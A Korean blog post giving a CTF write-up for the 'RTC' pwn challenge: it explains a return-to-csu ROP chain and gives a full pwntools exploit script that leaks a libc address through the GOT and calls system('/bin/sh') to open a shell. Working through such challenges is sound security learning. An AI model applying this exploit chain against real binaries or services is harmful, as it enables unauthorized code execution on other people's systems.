RTC 본문
이번에도 rop문제인데 가젯이 없다.
하나밖에 없다.
csu내부에 있는 함수를 이용하도록 한다.
rdx, rsi, rdi가 있기에 사용할 수 있다.
loc_4006b6에서 레지스터들의 값을 읽고
loc_4006a0에서 rdx rsi rdi로 옮긴다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3025)
context.log_level = "Debug"
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
pr = 0x4006c3
csu_2 = 0x4006a0
csu_1 = 0x4006ba
bss = 0x601048
binsh = "/bin/sh\x00"
payload = "A"*72
payload += p64(csu_1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(elf.got['read']) #r12 -> call
payload += p64(8) #r13 -> rdx
payload += p64(bss) #r14 -> rsi
payload += p64(0) #r15 -> edi
payload += p64(csu_2)
payload += p64(0) # rsp + 8
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12 -> call
payload += p64(8) # r13 -> rdx
payload += p64(elf.got['read']) # r14 -> rsi
payload += p64(1) # r15 -> edi
payload += p64(csu_2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(elf.symbols['main'])
p.sendline(payload)
time.sleep(1)
p.send(binsh)
time.sleep(1)
p.recvuntil("\n")
read_addr = u64(p.recv(6)+"\x00\x00")
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
payload = "A"*72
payload += p64(pr)
payload += p64(bss)
payload += p64(system)
time.sleep(1)
p.sendline(payload)
p.interactive()
처음 bss영역에 /bin/sh을 써준다.
그다음 rsp+8코드를 실행하니 더미를 하나 더 추가해준다.
read의 실제주소를 leak한다.
main함수로 return 해주고 system함수를 실행한다.
rbx는 조건문을 통과하기 위해 0으로 해준다.
'보안 > 워게임' 카테고리의 다른 글
World Best Encryption Tool (0) | 2021.12.16 |
---|---|
Register (0) | 2021.12.16 |
SysROP (0) | 2021.12.16 |
Unexploitable #1 (0) | 2021.12.16 |
You are silver (0) | 2021.12.16 |
Comments